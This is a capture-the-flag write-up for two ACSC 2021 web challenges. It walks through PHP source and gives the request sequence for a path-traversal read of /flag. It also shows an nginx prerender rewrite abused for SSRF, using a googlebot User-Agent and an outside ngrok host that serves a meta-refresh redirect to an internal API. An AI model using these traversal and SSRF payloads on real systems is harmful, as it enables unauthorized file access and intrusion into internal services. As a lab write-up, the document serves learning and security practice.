

ACSC 2021 - Asian Cyber Security Challenge 2021

solved

- [API](#) [web]
- [Favorite Emojis](#) [web]

API

According to the Dockerfile, reading /flag is the goal.

```
FROM php:7.3-apache

RUN echo "ACSC{this is fake flag}" > /flag
RUN chmod 0444 /flag

COPY ./public/ /var/www/html/
COPY ./000-default.conf /etc/apache2/sites-available/
RUN chmod 0777 /var/www/html/lib/db/

RUN chown -R root:www-data /var/www/html/

RUN chmod 0755 /var/www/html/
```

After looking for the part that reads the file, export_db was found. It takes \$file as an argument, concatenates it with the path, and returns the contents of the file.

If \$file include ../ , LFI is possible.

```

public function export_db($file)
{
    if ($this->is_pass_correct()) {
        $path = dirname(__FILE__) . DIRECTORY_SEPARATOR;
        $path .= "db" . DIRECTORY_SEPARATOR;
        $path .= $file;
        $data = file_get_contents($path);
        $data = explode(',', $data);
        $arr = [];
        for ($i = 0; $i < count($data); $i++) {
            $arr[] = explode('|', $data[$i]);
        }
        return $arr;
    } else
        return "The passcode does not equal with your input.";
}

```

Looking at `is_pass_correct()` , we need to know `this->db["path"]` .

```

public function is_pass_correct()
{
    $passcode = $this->get_pass();
    $input = $_REQUEST['pas'];
    if ($input == $passcode) return true;
}
public function get_pass()
{
    return file_get_contents($this->db['path']);
}

```

`get_pass` is called in `challenge` and return content of `this->db["path"]`

```

function challenge($obj)
{ // obj : User

    if ($obj->is_login()) { // is_login verify session
        $admin = new Admin();
        if (!$admin->is_admin()) $admin->redirect('/api.php?#access denied');

        $cmd = $_REQUEST['c2'];
        if ($cmd) {
            switch ($cmd) {
                case "gu":
                    echo json_encode($admin->export_users());
                    break;
                case "gd":
                    echo json_encode($admin->export_db($_REQUEST['db']));
                    //param pas =passcode.db content
                    //param file = ../../../../../../flag
                    //param c2 = gd
                    break;
                case "gp":
                    echo json_encode($admin->get_pass()); // return this->c
                    //param c2 = gp
                    break;
                case "cf":
                    echo json_encode($admin->compare_flag($_REQUEST['flag']));
                    break;
            }
        }
    }
}

```

challenge is called in main

```

function main($acc)
{
    gen_user_db($acc);
    gen_pass_db();
    header("Content-Type: application/json");
    var_dump($acc);
    $user = new User($acc);

    $cmd = $_REQUEST['c'];
    //param c = u
    usleep(500000);
    switch ($cmd) {
        case 'i':
            if (!$user->signin())
                echo "Wrong Username or Password.\n\n";
            break;

        case 'u':
            if ($user->signup())
                echo "Register Success!\n\n";
            else
                echo "Failed to join\n\n";

        case 'o':
            if ($user->signout())
                echo "Logout Success!\n\n";
            else
                echo "Failed to sign out..\n\n";
            break;
    }
    challenge($user);
}

```

Therefore, send the appropriate id and pw, to signup and signin.

```
GET /api.php?c=u&id=Aaaaaaaaaa&pw=Aaaaaaaaaa HTTP/1.1
```

then, get this->db["path"] content

```
GET /api.php?c=i&id=Aaaaaaaaaa&pw=Aaaaaaaaaa&c2=gp HTTP/1.1
```

```
"eg5y" == $this->get_pass()
```

```
GET /api.php?c=i&id=Aaaaaaaaaa&pw=Aaaaaaaaaa&c2=gd&pas=eg5y`&db=../../../../../../flag HTTP/1.1
```

```
ACSC{it_is_hard_to_name_a_flag..isn't_it?}
```

Favorite Emojis

According to the `docker-compose.yml` and `app.py`, access to `http:app:8000/` is the goal.

But nginx routing as shown below. However, there is a rewrite rule, so use it for SSRF.

```
server {  
    listen 80;  
  
    root /usr/share/nginx/html/  
    index index.html;  
  
    location / {  
        try_files $uri @prerender;  
    }  
  
    location /api/ {  
        proxy_pass http://api:8000/v1/;  
    }  
  
    location @prerender {  
        proxy_set_header X-Prerender-Token YOUR_TOKEN;  
  
        set $prerender 0;  
        if ($http_user_agent ~* "googlebot|bingbot|yandex|baiduspider|twitterbot|facebookexternalbrowser") {  
            set $prerender 1;  
        }  
        if ($args ~ "_escaped_fragment_") {  
            set $prerender 1;  
        }  
        if ($http_user_agent ~ "Prerender") {  
            set $prerender 0;  
        }  
        if ($uri ~* "\.(js|css|xml|less|png|jpg|jpeg|gif|pdf|doc|txt|ico|rss|zip|mp3|rar|exe|wmv)" ) {  
            set $prerender 0;  
        }  
  
        if ($prerender = 1) {  
            rewrite .* /$scheme://$host$request_uri? break;  
            proxy_pass http://renderer:3000;  
        }  
        if ($prerender = 0) {  
            rewrite .* /index.html break;  
        }  
    }  
}
```

Port is not included in the rewrite rules, so we need to redirect other servers to the api server.

Therefore, send a request like the following.

```
GET http://dd5f-60-126-216-91.ngrok.io/ HTTP/1.1
Host: dd5f-60-126-216-91.ngrok.io
User-Agent: googlebot
Content-Length: 2
```

and, provide html like the following

```
<html>
  <head>
    <meta http-equiv=refresh content="0.5;URL=http://api:8000">
  </head>
</html>
```

ACSC{sharks_are_always_hungry}